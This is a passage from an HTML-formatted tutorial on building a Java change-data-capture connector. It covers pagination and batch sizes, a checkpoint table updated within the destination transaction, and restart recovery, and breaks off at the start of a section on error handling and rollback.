&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Batch 3&lt;/td&gt;
&lt;td&gt;5, 6, 7&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Batch 4&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;After processing these batches, the local processing position becomes event ID 8.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Next query&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The connector executes the query again using:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;event_id&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If no additional events are available, the query returns an empty result. The pagination loop exits, and the connector returns to its continuous polling cycle.&lt;/p&gt;

&lt;p&gt;The complete processing flow is illustrated below:&lt;/p&gt;



&lt;p&gt;&lt;em&gt;Figure 2: Example of pagination and batch processing using fetch size 4 and batch size 3.&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  6.5 Benefits of Batch Processing and Pagination
&lt;/h3&gt;

&lt;p&gt;Using separate fetch and batch sizes provides several benefits:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Controlled memory usage:&lt;/strong&gt; The connector retrieves a limited number of events per source query instead of loading all available events at once.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reduced transaction overhead:&lt;/strong&gt; Multiple employee changes are applied within a single destination transaction.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Flexible configuration:&lt;/strong&gt; Fetch size and batch size can be adjusted independently based on workload and database capacity.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Continuous processing:&lt;/strong&gt; Pagination allows the connector to process more events than the configured fetch size.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Summary
&lt;/h3&gt;

&lt;p&gt;In this section, we examined how the CDC connector uses pagination and batch processing.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Uses &lt;code&gt;cdc.fetch.size&lt;/code&gt; to control the maximum number of events retrieved per source query.&lt;/li&gt;
&lt;li&gt;Uses &lt;code&gt;cdc.batch.size&lt;/code&gt; to control the number of events applied per destination transaction.&lt;/li&gt;
&lt;li&gt;Implements pagination using a repeated query with &lt;code&gt;LIMIT&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Divides retrieved events into smaller batches using &lt;code&gt;subList()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Processes each batch through &lt;code&gt;processBatchWithRetry()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Continues fetching subsequent pages until no more events are available.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These mechanisms allow the connector to process multiple CDC events efficiently while controlling query sizes and destination transaction boundaries.&lt;/p&gt;

&lt;p&gt;In the next section, we will examine &lt;strong&gt;Checkpoint Management&lt;/strong&gt;, including how the connector records its processing position and resumes from that position after a restart.&lt;/p&gt;

&lt;h2&gt;
  
  
  7. Checkpoint Management
&lt;/h2&gt;

&lt;p&gt;A CDC connector needs a reliable way to track which events have already been processed. Without this mechanism, the connector would have no way to determine where to resume after a restart.&lt;/p&gt;

&lt;p&gt;In this project, we use a checkpoint table in the destination database to store the ID of the last successfully processed CDC event.&lt;/p&gt;

&lt;p&gt;The Java connector reads this checkpoint when it starts a polling session and updates it after successfully applying each batch of events.&lt;/p&gt;

&lt;h3&gt;
  
  
  7.1 Understanding the Checkpoint Table
&lt;/h3&gt;

&lt;p&gt;We created the &lt;code&gt;cdc_checkpoint&lt;/code&gt; table in the destination database in Section 3.5.&lt;/p&gt;

&lt;p&gt;The table has the following structure:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;EXISTS&lt;/span&gt; &lt;span class="n"&gt;cdc_checkpoint&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;connector_name&lt;/span&gt; &lt;span class="nb"&gt;VARCHAR&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;PRIMARY&lt;/span&gt; &lt;span class="k"&gt;KEY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;last_processed_event_id&lt;/span&gt; &lt;span class="nb"&gt;BIGINT&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt; &lt;span class="k"&gt;DEFAULT&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;updated_at&lt;/span&gt; &lt;span class="nb"&gt;TIMESTAMP&lt;/span&gt; &lt;span class="k"&gt;DEFAULT&lt;/span&gt; &lt;span class="k"&gt;CURRENT_TIMESTAMP&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We also initialized a checkpoint entry for our connector:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;cdc_checkpoint&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;connector_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;last_processed_event_id&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;VALUES&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'employee-cdc-connector'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;ON&lt;/span&gt; &lt;span class="n"&gt;CONFLICT&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;connector_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;DO&lt;/span&gt; &lt;span class="k"&gt;NOTHING&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The columns serve the following purposes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;connector_name:&lt;/strong&gt; Identifies the CDC connector. It is the primary key, allowing multiple connectors to maintain separate checkpoints.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;last_processed_event_id:&lt;/strong&gt; Stores the ID of the last successfully processed event.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;updated_at:&lt;/strong&gt; Records when the checkpoint was last updated. The Java connector explicitly refreshes this timestamp when advancing the checkpoint.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Initially, &lt;code&gt;last_processed_event_id&lt;/code&gt; is set to &lt;code&gt;0&lt;/code&gt;, indicating that the connector has not yet processed any CDC events.&lt;/p&gt;

&lt;h3&gt;
  
  
  7.2 Reading the Last Processed Event ID
&lt;/h3&gt;

&lt;p&gt;When a new database connection session is established, the connector retrieves the last processed event ID from the destination database.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;runContinuousPolling()&lt;/code&gt; method calls &lt;code&gt;getLastProcessedEventId()&lt;/code&gt; before entering its polling loop.&lt;/p&gt;

&lt;p&gt;Here is the implementation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="nf"&gt;getLastProcessedEventId&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
        &lt;span class="nc"&gt;Connection&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;SQLException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;sql&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"""
            SELECT last_processed_event_id
            FROM cdc_checkpoint
            WHERE connector_name = ?
            """&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;PreparedStatement&lt;/span&gt; &lt;span class="n"&gt;statement&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
                 &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;prepareStatement&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sql&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="no"&gt;CONNECTOR_NAME&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;ResultSet&lt;/span&gt; &lt;span class="n"&gt;resultSet&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;executeQuery&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resultSet&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;next&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;resultSet&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getLong&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                        &lt;span class="s"&gt;"last_processed_event_id"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;

            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;SQLException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                    &lt;span class="s"&gt;"CDC checkpoint not found: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="no"&gt;CONNECTOR_NAME&lt;/span&gt;
            &lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The method performs the following operations:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Executes a query against the &lt;code&gt;cdc_checkpoint&lt;/code&gt; table.&lt;/li&gt;
&lt;li&gt;Uses the connector name to locate its checkpoint entry.&lt;/li&gt;
&lt;li&gt;Retrieves and returns &lt;code&gt;last_processed_event_id&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Throws an exception if the checkpoint entry does not exist.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The returned event ID becomes the starting position for the next CDC polling cycle.&lt;/p&gt;

&lt;h3&gt;
  
  
  7.3 Updating the Checkpoint
&lt;/h3&gt;

&lt;p&gt;After a batch of CDC events has been successfully applied to the destination database, the connector updates the checkpoint.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;updateCheckpoint()&lt;/code&gt; method performs this operation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;updateCheckpoint&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
        &lt;span class="nc"&gt;Connection&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
        &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="n"&gt;eventId&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;SQLException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;sql&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"""
            UPDATE cdc_checkpoint
            SET last_processed_event_id = ?,
                updated_at = CURRENT_TIMESTAMP
            WHERE connector_name = ?
            """&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;PreparedStatement&lt;/span&gt; &lt;span class="n"&gt;statement&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
                 &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;prepareStatement&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sql&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setLong&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;eventId&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="no"&gt;CONNECTOR_NAME&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;rowsUpdated&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;executeUpdate&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rowsUpdated&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;SQLException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                    &lt;span class="s"&gt;"Failed to update CDC checkpoint."&lt;/span&gt;
            &lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The method updates two columns:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;last_processed_event_id&lt;/code&gt; is set to the ID of the last event in the successfully processed batch.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;updated_at&lt;/code&gt; is refreshed with the current timestamp.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The method also verifies that exactly one checkpoint row was updated. If no matching row exists, it throws an exception rather than silently continuing.&lt;/p&gt;

&lt;h3&gt;
  
  
  7.4 Updating the Checkpoint Within the Destination Transaction
&lt;/h3&gt;

&lt;p&gt;An important design consideration is ensuring that the destination data changes and checkpoint update are committed together.&lt;/p&gt;

&lt;p&gt;In our implementation, the &lt;code&gt;processBatchWithRetry()&lt;/code&gt; method handles both operations within the same destination database transaction.&lt;/p&gt;

&lt;p&gt;The relevant part of the method is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="n"&gt;destinationConnection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setAutoCommit&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;CDCEvent&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;events&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="n"&gt;applyChange&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                &lt;span class="n"&gt;destinationConnection&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
                &lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;operation&lt;/span&gt;&lt;span class="o"&gt;(),&lt;/span&gt;
                &lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;employeeData&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
        &lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="n"&gt;lastEventId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
            &lt;span class="n"&gt;events&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;events&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;size&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;eventId&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

    &lt;span class="n"&gt;updateCheckpoint&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;destinationConnection&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;lastEventId&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

    &lt;span class="n"&gt;destinationConnection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;commit&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

&lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;SQLException&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nc"&gt;RuntimeException&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="n"&gt;destinationConnection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;rollback&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The sequence is important:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Disable auto-commit to begin an explicit transaction.&lt;/li&gt;
&lt;li&gt;Apply all CDC events in the batch to the destination &lt;code&gt;employees&lt;/code&gt; table.&lt;/li&gt;
&lt;li&gt;Retrieve the event ID of the last event in the batch.&lt;/li&gt;
&lt;li&gt;Update the checkpoint with that event ID.&lt;/li&gt;
&lt;li&gt;Commit the transaction.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If an error occurs before the commit, the transaction is rolled back.&lt;/p&gt;

&lt;p&gt;This means that the destination employee changes and the checkpoint update are treated as a single transaction.&lt;/p&gt;

&lt;p&gt;For example:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If all employee changes and the checkpoint update succeed, the transaction commits.&lt;/li&gt;
&lt;li&gt;If an employee change fails, the transaction is rolled back, including the checkpoint update.&lt;/li&gt;
&lt;li&gt;If the checkpoint update fails, the employee changes in that transaction are also rolled back.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This prevents the checkpoint from advancing when the corresponding destination changes have not been successfully committed.&lt;/p&gt;

&lt;h3&gt;
  
  
  7.5 Resuming Processing After a Restart
&lt;/h3&gt;

&lt;p&gt;One of the main benefits of checkpoint management is that the connector does not need to start processing from the beginning every time it restarts.&lt;/p&gt;

&lt;p&gt;Consider the following example:&lt;/p&gt;

&lt;p&gt;Suppose the connector has processed events up to event ID &lt;code&gt;25&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The checkpoint table contains:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;connector_name&lt;/th&gt;
&lt;th&gt;last_processed_event_id&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;employee-cdc-connector&lt;/td&gt;
&lt;td&gt;25&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Now suppose the connector stops unexpectedly.&lt;/p&gt;

&lt;p&gt;When it starts again, it establishes connections to the source and destination databases. The &lt;code&gt;runContinuousPolling()&lt;/code&gt; method retrieves the checkpoint from the destination database.&lt;/p&gt;

&lt;p&gt;The connector then queries the source CDC event table using:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;event_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;operation&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;record_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;changed_data&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;cdc_events&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;event_id&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt;
&lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;event_id&lt;/span&gt;
&lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The parameter for &lt;code&gt;event_id&lt;/code&gt; is set to &lt;code&gt;25&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Therefore, the connector looks for events with IDs greater than &lt;code&gt;25&lt;/code&gt; and resumes processing from that position.&lt;/p&gt;

&lt;p&gt;As subsequent batches are successfully committed, the checkpoint advances accordingly.&lt;/p&gt;

&lt;h3&gt;
  
  
  7.6 Benefits of Checkpoint Management
&lt;/h3&gt;

&lt;p&gt;Checkpoint management provides several important benefits:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Restart recovery:&lt;/strong&gt; The connector can resume from its last recorded processing position after a restart.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reduced redundant processing:&lt;/strong&gt; Previously checkpointed events are not normally fetched again during the next polling session.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Consistent destination state:&lt;/strong&gt; Destination changes and checkpoint updates are committed within the same transaction.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Progress tracking:&lt;/strong&gt; The checkpoint table provides a simple way to monitor the connector's processing progress.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In this project, checkpoint management works together with batch processing and transaction handling to provide a basic recovery mechanism for the CDC pipeline.&lt;/p&gt;

&lt;h2&gt;
  
  
  8. Error Handling and Recovery
&lt;/h2&gt;

&lt;p&gt;A CDC connector runs continuously and interacts with two databases. During operation, database errors, transaction failures, and unexpected connection losses can occur.&lt;/p&gt;

&lt;p&gt;If these situations are not handled properly, the connector could stop unexpectedly or leave the destination database in an inconsistent state.&lt;/p&gt;

&lt;p&gt;In this project, we implement several error-handling mechanisms:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Transaction rollback when a batch fails.&lt;/li&gt;
&lt;li&gt;Retry logic for selected transient transaction errors.&lt;/li&gt;
&lt;li&gt;Exponential backoff between retry attempts.&lt;/li&gt;
&lt;li&gt;Database connection recovery.&lt;/li&gt;
&lt;li&gt;Graceful shutdown when the application is interrupted.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let's examine how these mechanisms work.&lt;/p&gt;

&lt;h3&gt;
  
  
  8.1 Transaction Rollback
&lt;/h3&gt;

&lt;p&gt;As discussed in Section 7, the connector processes each batch within a destination database transaction.&lt;/p&gt;

&lt;p&gt;If an error occurs while applying the CDC events or updating the checkpoint, the transaction must be rolled back.&lt;/p&gt;

&lt;p&gt;The relevant code in &lt;code&gt;processBatchWithRetry()&lt;/code&gt; is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;CDCEvent&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;events&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="n"&gt;applyChange&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                &lt;span class="n"&gt;destinationConnection&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
                &lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;operation&lt;/span&gt;&lt;span class="o"&gt;(),&lt;/span&gt;
                &lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;employeeData&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
        &lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="n"&gt;lastEventId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
